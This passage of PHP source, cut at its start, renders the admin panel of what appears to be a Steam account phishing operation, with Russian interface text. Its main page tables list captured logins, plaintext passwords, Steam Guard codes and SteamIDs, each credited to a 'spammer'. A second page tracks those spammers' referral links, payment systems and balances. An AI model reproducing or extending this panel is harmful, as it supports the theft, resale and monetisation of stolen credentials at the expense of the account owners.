PathToTemplate = $PathToTemplate; } private function _generatePage($head, $content) { $layout = file_get_contents($this->PathToTemplate . "/layout.html"); $Panel = new classPanel(); $page = str_replace ( array("%head%", "%admin_login%", "%content%"), array($head, $Panel->s_GetAdminLogin(), $content), $layout ); return $page; } public function GenerateIndex(){ $head = " "; $content = file_get_contents($this->PathToTemplate . "/pages/main.html"); $Panel = new classPanel(); if ($Panel->b_AccountsExist()) { /* * TABLE */ $table_tpl = ' %table_content% '; $row_tpl = ' %login% %password% %guard% %login% Профиль %time% %spamer% '; $rows = ""; $accounts = $Panel->arr_GetAccounts(); for ($i = 0; $i < count($accounts); $i++) { if ($accounts[$i]["status"] == 0) $valid = ""; else $valid = ""; $rows .= str_replace ( array("%login%", "%password%", "%guard%", "%steamid%", "%time%", "%spamer%", "%valid%", "%id%"), array( $accounts[$i]["login"], $accounts[$i]["password"], $accounts[$i]["guard"], $accounts[$i]["steamid"], date("H:i", $accounts[$i]["time"]), $accounts[$i]["spammer"], $valid, $accounts[$i]["id"] ), $row_tpl ); } $table = str_replace("%table_content%", $rows, $table_tpl); /* * /TABLE */ $content = str_replace ( array("%table%", "%visits%", "%total_logs%", "%total_sum%"), array($table, $Panel->int_GetVisits(), count($accounts), $Panel->int_getTotalSum()), $content ); } else { $content = str_replace ( array("%table%", "%visits%", "%total_logs%", "%total_sum%"), array('

Нет аккаунтов в базе

', $Panel->int_GetVisits(), count($accounts), $Panel->int_getTotalSum()), $content ); } $Page = self::_generatePage($head, $content); return $Page; } public function GenerateSpammers($error){ $head = " "; $content = file_get_contents($this->PathToTemplate . "/pages/spammers.html"); $error_notice = '
Введенный логин уже занят!
'; if ($error === 1) $content = $error_notice . $content; $Panel = new classPanel(); if ($Panel->b_SpammersExist()) { /* * TABLE */ $table_tpl = ' %table_content% '; $row_tpl = ' %login% %password% %ref-link% %payment_system% %balance% '; $rows = ""; $spammers = $Panel->arr_GetSpammers(); for ($i = 0; $i < count($spammers); $i++) { $rows .= str_replace ( array("%login%", "%password%", "%ref-link%", "%payment_system%", "%balance%", "%id%"), array( $spammers[$i]["login"], $spammers[$i]["password"], $_SERVER["SERVER_NAME"] . "/?ref=" . $spammers[$i]["login"], $spammers[$i]["payment_system"], $spammers[$i]["balance"], $spammers[$i]["id"] ), $row_tpl ); } $table = str_replace("%table_content%", $rows, $table_tpl); /* * /TABLE */ $content = str_replace ( array("%table%"), array($table), $content ); } else { $content = str_replace ( array("%table%"), array('

Нет спамеров в базе

'), $content ); } $Page = self::_generatePage($head, $content); return $Page; } public function GenerateSettings(){ $content = file_get_contents($this->PathToTemplate . "/pages/settings.html"); $Panel = new classPanel(); $settings = $Panel->arr_GetSettings(); $settings_content = ""; foreach ($settings as $key => $setting) { if ($setting["name"] == "visits") continue; $settings_content .= '
'; } $content = str_replace("%settings_content%", $settings_content, $content); $Page = self::_generatePage("", $content); return $Page; } public function GenerateAuth(){ $Page = file_get_contents($this->PathToTemplate . "/pages/auth.html"); return $Page; } } ?>